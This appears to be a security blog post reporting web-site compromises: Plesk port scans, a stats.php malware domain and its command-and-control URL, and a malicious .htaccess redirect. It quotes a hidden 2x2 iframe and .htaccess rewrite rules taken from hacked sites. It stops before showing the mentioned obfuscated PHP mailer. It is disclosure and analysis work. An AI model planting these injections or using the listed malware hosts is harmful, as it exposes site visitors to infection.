Your know there is a vulnerability in Plesk...

This is a simple way to know when a vulnerability in Plesk (or any other software) is being exploited in the wild:

When the mass scans for it starts. The data is from ISC (isc.sans.org) and shows a massive increase in thenumber of queries for port 8443 (used by Plesk).

Top malware entry stats.php

Top malware entry for the day: poseyhumane.org/stats.php

<iframe src="http://poseyhumane.org/stats.php" name="Twitter"..
 scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>

It seems to be the stats.php malware of the day. Related to our post here: Distributed Malware Network Outbreak Using Stats.php.

We also identified a CC (command and control server) for these infections: http://botstatisticupdate.com/stat/stat.php. More info to come soon.

Strange .htaccess redirections to google.com

A few weeks ago we reported the case of a few compromised sites with an .htaccess redirection to msn.com. Now we areseeing a few sites with the same redirection but to google.com.

This is what we are seeing on some hacked sites (.htaccess file):

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)
RewriteRule ^(.*)$ http://google.com [R=301,L]

.. lots of empty lines/ white spaces ...
ErrorDocument 404 http://google.com

We have no idea why this hapening. Maybe a bug in the attackers malware injection code, but we can\'t say for sure. We will post more details when we find out what is going on.

PHP Spam tool (UnixStats Mass MaiLer)

While looking at a compromised site, we found an interesting mass mailer in there. The contentwas encoded using eval/gzinflate and base64_decode: